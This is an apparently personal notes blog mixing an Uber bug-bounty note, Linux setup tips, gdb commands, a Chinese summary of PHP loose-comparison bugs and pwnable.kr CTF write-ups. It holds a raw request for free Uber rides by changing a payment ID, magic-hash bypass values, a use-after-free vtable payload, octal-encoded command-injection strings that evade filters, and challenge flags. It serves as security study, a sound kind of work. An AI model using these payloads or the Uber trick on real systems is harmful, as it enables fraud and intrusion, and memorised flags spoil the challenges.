bug bounty note—-UBER

free uber:

POST /api/dial/v2/requests HTTP/1.1 Host: dial.uber.com {“start_latitude”:12.925151699999999,”start_longitude”:77.6657536,
“product_id”:”db6779d6-d8da-479f-8ac7-8068f4dade6f”,”payment_method_id”:”xyz”}

change payment_method_id

reference url :http://www.anandpraka.sh/2017/03/how-anyone-could-have-used-uber-to-ride.html

install eclipse on ubuntu 14.04

before install, you should update your JRE and JDK to 8:

Final Update

JDK

sudo apt-get install openjdk-8-jdk

JRE

sudo apt-get install openjdk-8-jre

Old Update

I found two repository but I do not recommend

  • OpenJDK builds (all archs)
    ppa:openjdk-r/ppa
  • OpenJDK 8 backport for trusty
    ppa:jochenkemnade/openjdk-8

Original Message

If you really want to use OpenJDK, you have to compile from source. There is not still any PPA for OpenJDK.

It has been requested at https://bugs.launchpad.net/ubuntu/+bug/1297065

I recommend you to use Webup8 Oracle Java8 Installer

sudo add-apt-repository ppa:webupd8team/java -y
sudo apt-get update
sudo apt-get install oracle-java8-installer

To automatically set up the Java 8 environment variables

sudo apt-get install oracle-java8-set-default

Check it

java -version

So you have to wait to use OpenJDK8

 

Then download eclipse from https://www.eclipse.org/downloads/

unpack and install it

ROS study note

You can choose any editor you like to implement you ROS project. There are some official IDE configuration for ROS : http://wiki.ros.org/IDEs

I prefer using VIM. There is an VIM plugin named rosvim we can use. To install it:

(I use spf13-vim so it uses vundle to manage VIM plugin)

$ echo Bundle \'taketwo/vim-ros\' >> ~/.vimrc.bundles.local
$ vim +BundleInstall! +BundleClean +q

When I run roscore (ROS master) on the sensor, then I try to run “rosnode echo rosout” to print the information of the rosout. It show “Couldn’t find an AF_INET address for “. So we should set the ROS_IP on our host like “export ROS_IP=169.254.10.169”.

 

gdb命令笔记

编译的时候: -g

开始调试:gdb [-tui] test

设置断点:(gdb) breakpoint test.c:123 or  (gdb) b main

运行程序(后面可以跟参数):(gdb) run [arg1 arg2]

清除断点:(gdb) clear

跟踪堆栈:(gdb) where

打印参数:(gdb) print f.BlockType

用16进制打印:(gdb) print/x f.BlockType

单步调试(不进入函数内部):(gdb) next or (gdb) n

单步调试(进入函数内部):(gdb) step or (gdb) s

在每个命令后都显示参数:(gdb) display f.BlockType

设定参数:(gdb) set f.BlockType=0

继续运行:(gdb) cont

推出:(gdb) quit

PHP弱类型漏洞总结

首先说下强弱类型,根据维基百科的定义:

In computer programming, programming languages are often colloquially classified as strongly typed or weakly typed (loosely typed). These terms do not have a precise definition, but in general, a strongly typed language is more likely to generate an error or refuse to compile if the argument passed to a function does not closely match the expected type. On the other hand, a very weakly typed language may produce unpredictable results or may perform implicit type conversion.

对于强弱类型,并没有明确的定义,但是可以通过函数传参进行判断:在某个编程语言里面,给某个函数传了一个不是所需类型的参数,如果编译器报错了,那么可以认为它是强类型语言(strongly typed),反之则认为是弱类型语言(weakly typed)。

这里我们先不直接下结论说PHP是什么类型的(当然大家都知道了),我们按照维基百科的标准来测试一下:

<?php $a = "string"; function test($b) { $b = $b + 1; echo $b; } test($a); ?>

最后的结果是在屏幕上输出1,并没有报错,所以PHP是弱类型语言。

弱类型语言在使用上更为方便快捷,但是同样也带来了一些弊端,也就是这篇文章要总结的PHP弱类型导致的漏洞:

1、使用松散比较“==”

(1)$a=null;$b=flase ;

(2)$a=”;$b=null;

(3)$a=’0′;$b=0;

(4)$a=’abcdefg’;$b=0;

(5)$a=’1abcdefg’;$b=1;

(6)$a=’0e391845′;$b=’0e1948284′;

(7)$a=’0x1240′;$b=123456;

以上这些当我们用$a==$b进行比较时,都会返回true,其中(6)中例如0e\b+这种形式的都会认为是0,所以返回true,这点特性在后面md5()中也会体现,(7)中0x\b+ PHP会认为是16进制,等于10进制的123456.

 

2、switch() 函数自动转换

在使用switch函数时,switch会把传入的参数经过intval处理,这样例如“0euqie”就会变成0,“1eidue”就会变成1,这样会导致运行错误的条件结果

 

3、md5()

md5函数在PHP中有两个问题,第一个问题我们前面提到型如0e\b+类型的变量都会认为相等,这样就导致了两个变量它们本身的值不相同,但是经过md5返回的哈希值都是0e\b+类型的,结果变成了“相等”的。例如在wargame.kr里面有一题:

<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }

    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force

        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];

        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1) != md5($v2)) {$chk = false;}

        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>

经过测试,我们发现:

    $ echo -n 240610708 | md5sum
    0e462097431906509019562988736854  -
    $ echo -n QNKCDZO | md5sum
    0e830400451993494058024219903391  -
    $ echo -n aabg7XSs | md5sum
    0e087386482136013740957780965295  -

这三组最后生成的md5都是0e\b+形式的,所以我们最后构造v1=QNKCDZO 和 v2=240610708就能成功绕过判断

另外一个就是:PHP手册中的md5()函数的描述是string md5 ( string $str [, bool $raw_output = false ] ),md5()中的需要是一个string类型的参数。但是当你传递一个array时,md5()不会报错,知识会无法正确地求出array的md5值,这样就会导致任意2个array的md5值都会相等。

$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2)); //true

 

4、in_array()

在PHP手册中,in_array()函数的解释是bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如果strict参数没有提供,那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。

array_search()与in_array()也是一样的问题

pwnable.kr-uaf

题目描述:

Mommy, what is Use After Free bug?

ssh [email protected] -p2222 (pw:guest)

根据题目描述我们知道该题考察UAF(use after free)漏洞,关于UAF,简单说下就是内存地址在free后并没有被销毁,下次为相同的结构类型分配大小类似的空间时,之前的内存空间会被重新使用,如果第二次的指针能够被用户所控制,就造成了UAF漏洞。然后有些基础知识(转自:http://blog.csdn.net/qq_20307987/article/details/51511230):

 

1

UAF:引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。

2

UAF错误的原因:

(1)导致程序出错和发生异常的各种条件

(2)程序负责释放内存的指令发生混乱

其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)

3

UAF漏洞的利用:

(1)先搞出来一个迷途指针

(2)精心构造数据填充被释放的内存区域

(3)再次使用该指针,让填充的数据使eip发生跳转。

4

在填充的阶段要考虑系统的内存分配机制,这里介绍一下SLUB

SLUB

对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。样的话,同一个笼子既可以放鸡,又可以放鸭。也就是说我们释放掉sock对象A以后马上再创建对象B,只要A和B大小相同(不在乎B的类型),那么B就极有可能重用A的内存。SLAB差不多,只不过要求类型也要相同。

既然B可以为任意对象类型,那我们当然希望选择一个用起来顺手的对象类型。至少要符合以下2个条件:

用户可以控制该对象的大小

用户空间可以对该对象写入数据

如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。

 

5

malloc函数做了那些事情。

大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。

小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。

在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。

对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。

 

6

虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类vtable中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。

 

7

vptr每个对象都会有一个,而vptable是每个类有一个

vptr指向vtable

一个类中就算有多个虚函数,也只有一个vptr

做多重继承的时候,继承了多个父类,就会有多个vptr

 

8

虚函数表的结构:它是一个函数指针表,每一个表项都指向一个函数。任何一个包含至少一个虚函数的类都会有这样一张表。需要注意的是vtable只包含虚函数的指针,没有函数体。实现上是一个函数指针的数组。虚函数表既有继承性又有多态性。每个派生类的vtable继承了它各个基类的vtable,如果基类vtable中包含某一项,则其派生类的vtable中也将包含同样的一项,但是两项的值可能不同。如果派生类覆写(override)了该项对应的虚函数,则派生类vtable的该项指向覆写后的虚函数,没有覆写的话,则沿用基类的值。

每一个类只有唯一的一个vtable,不是每个对象都有一个vtable,恰恰是每个同一个类的对象都有一个指针,这个指针指向该类的vtable(当然,前提是这个类包含虚函数)。那么,每个对象只额外增加了一个指针的大小,一般说来是4字节。

在类对象的内存布局中,首先是该类的vtable指针,然后才是对象数据。

在通过对象指针调用一个虚函数时,编译器生成的代码将先获取对象类的vtable指针,然后调用vtable中对应的项。对于通过对象指针调用的情况,在编译期间无法确定指针指向的是基类对象还是派生类对象,或者是哪个派生类的对象。但是在运行期间执行到调用语句时,这一点已经确定,编译后的调用代码能够根据具体对象获取正确的vtable,调用正确的虚函数,从而实现多态性。

我们看下uaf.cpp的代码:

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
 virtual void give_shell(){
 system("/bin/sh");
 }
protected:
 int age;
 string name;
public:
 virtual void introduce(){
 cout << "My name is " << name << endl;
 cout << "I am " << age << " years old" << endl;
 }
};

class Man: public Human{
public:
 Man(string name, int age){
 this->name = name;
 this->age = age;
 }
 virtual void introduce(){
 Human::introduce();
 cout << "I am a nice guy!" << endl;
 }
};

class Woman: public Human{
public:
 Woman(string name, int age){
 this->name = name;
 this->age = age;
 }
 virtual void introduce(){
 Human::introduce();
 cout << "I am a cute girl!" << endl;
 }
};

int main(int argc, char* argv[]){
 Human* m = new Man("Jack", 25);
 Human* w = new Woman("Jill", 21);

 size_t len;
 char* data;
 unsigned int op;
 while(1){
 cout << "1. use\n2. after\n3. free\n";
 cin >> op;

 switch(op){
 case 1:
 m->introduce();
 w->introduce();
 break;
 case 2:
 len = atoi(argv[1]);
 data = new char[len];
 read(open(argv[2], O_RDONLY), data, len);
 cout << "your data is allocated" << endl;
 break;
 case 3:
 delete m;
 delete w;
 break;
 default:
 break;
 }
 }

 return 0; 
}

这里我们看到有一个父类 human,两个子类man和woman,human中有两个虚函数,giv_shell 和 introduce,根据前面的基础知识,这里的虚函数都存在vtable中,只不过man和woman中的introduce都分别自己实现了,所以子类中introduce的地址不同,但是give_shell的地址都与父类的地址相同。在main函数中,我们看到分别new了man和woman两个对象,在IDA中我们可以看到新的对象的大小都是24个字节,我们可以看下这篇文章:http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html, 类的对象所占内存空间大小其实和成员变量的大小是相同的,因为man和woman的成员变量相同,所以他们所占的内存空间都是相同的,这里为我们UAF创造了条件。

我们看下main三个分支的流程:

程序流程是根据输入数字跳转到不同的地方执行

1 调用两个类的函数

2 分配data空间,注意用的时New,从文件名为argv[2]中读取长度为argv[1]的字符到data部分。

3 释放对象

这里如果我们释放对象,然后再去调用,这里会把指针置空然后又引用了,导致这里的指针可以被我们控制,这里arv[]的内容也是通过我们的输入而控制的。所以这里利用的思路就是,先向文件中写入give_shell的地址,然后控制指针指向那个地址即可。

那么如何控制指针呢?前面我们提到了vtable,我们从vtable中获取give_shell的地址替换introduce的地址,然后我们再执行1时,实际执行的是give_shell,因为ssh连接后当前目录不可写,我们在/tmp/下新建文件uafpoc,文件内容为vtable地址-8,因为在调用的时候指针会指向eax+8,所以IDA中我们看到vtable的地址为:0x401570,所以最终我们的payload为:

[email protected]:~$ python -c “print ‘\x68\x15\x40\x00\x00\x00\x00\x00′” > /tmp/uafpoc
[email protected]:~$ ./uaf 24 “/tmp/uafpoc”
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning

这里需要注意下free的顺序是先free的m,后free的w,因此在分配内存的时候优先分配到后释放的w,因此需要先申请一次空间,将w分配出去,再开一次,就能分配到m了

最终的flag为:

yay_f1ag_aft3r_pwning

pwnable.kr-cmd2

题目描述:

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission…
but I wanna play anytime I want!

ssh [email protected] -p2222 (pw:flag of cmd1)

这题ssh的登陆密码是cmd1的flag,登陆后查看cmd2.c的源代码:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
 int r=0;
 r += strstr(cmd, "=")!=0;
 r += strstr(cmd, "PATH")!=0;
 r += strstr(cmd, "export")!=0;
 r += strstr(cmd, "/")!=0;
 r += strstr(cmd, "`")!=0;
 r += strstr(cmd, "flag")!=0;
 return r;
}

extern char** environ;
void delete_env(){
 char** p;
 for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
 delete_env();
 putenv("PATH=/no_command_execution_until_you_become_a_hacker");
 if(filter(argv[1])) return 0;
 printf("%s\n", argv[1]);
 system( argv[1] );
 return 0;
}

我们看到相比cmd1还多过滤了“/”,所以这里我们需要绕过这个限制,这里有多种方法可以绕过,经过测试我们发现通过cmd2中的system可以直接执行echo,但是其他的命令都需要绝对路径才行,也就是例如whoami需要”/bin/whoami”,这样会出现”/“。这里利用echo进行绕过:

把所有的字符经过8进制编码:

from pwn import *
cmd = "/bin/cat flag"
print "\\"+"\\".join([oct(i) for i in ordlist(cmd)])

然后得到编码后的字符串,最后构造payload:

[email protected]:~$ ./cmd2 ‘$(echo “\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147”)’
$(echo “\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147”)
FuN_w1th_5h3ll_v4riabl3s_haha

可以成功得到flag:

FuN_w1th_5h3ll_v4riabl3s_haha

pwnable.kr-cmd1

题目描述:

Mommy! what is PATH environment in Linux?

ssh [email protected] -p2222 (pw:guest)

cmd1.c的源码为:

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

int filter(char* cmd){
 int r=0;
 r += strstr(cmd, "flag")!=0;
 r += strstr(cmd, "sh")!=0;
 r += strstr(cmd, "tmp")!=0;
 return r;
}
int main(int argc, char* argv[], char** envp){
 putenv("PATH=/fuckyouverymuch");
 if(filter(argv[1])) return 0;
 system( argv[1] );
 return 0;
}

看起来过滤了flag,sh,tmp,没有关系,通过shell下面指令拼接可以绕过:

“/bin/cat ‘fl”ag'”

[email protected]:~$ ./cmd1 “/bin/cat ‘fl”ag'”
mommy now I get what PATH environment is for 🙂

所以最终的flag为:

mommy now I get what PATH environment is for 🙂

 

这里更新一种方法:

[email protected]:~$ ls
cmd1 cmd1.c flag
[email protected]:~$ mkdir /tmp/cmd1
[email protected]:~$ cd /tmp/cmd1
[email protected]:/tmp/cmd1$ ln -s /home/cmd1/cmd1 cmd1
[email protected]:/tmp/cmd1$ ls
cmd1
[email protected]:/tmp/cmd1$ ln -s /home/cmd1/flag f
[email protected]:/tmp/cmd1$ ./cmd1 “/bin/cat f”
mommy now I get what PATH environment is for 🙂

在/tmp下新建ln,这里就可以绕过对flag的过滤

pwnable.kr-lotto

题目描述:

Mommy! I made a lotto program for my homework.
do you want to play?
ssh [email protected] -p2222 (pw:guest)

看下源码,是个简易的lotto系统,输入6个字符,与系统/dev/urandom生成的6个字符进行比较,如果相同的话就中奖了,但是在检查的地方代码出现了问题:

int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

我们可以看到这里把输入的submit的每个字节都与生成的lotto的每个字节进行了比较,这里如果我们submit提交的都是同一个字节,只要lotto里面出现一次,match的值就为6,会成功返回flag,所以这里我们尝试每次都输入#######,也就是6个35:

Submit your 6 lotto bytes : ######
Lotto Start!
bad luck…
– Select Menu –
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : ######
Lotto Start!
bad luck…
– Select Menu –
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : ######
Lotto Start!
sorry mom… I FORGOT to check duplicate numbers… 🙁
– Select Menu –
1. Play Lotto
2. Help
3. Exit

大概尝试了三次之后成功获得了flag:

sorry mom… I FORGOT to check duplicate numbers… 🙁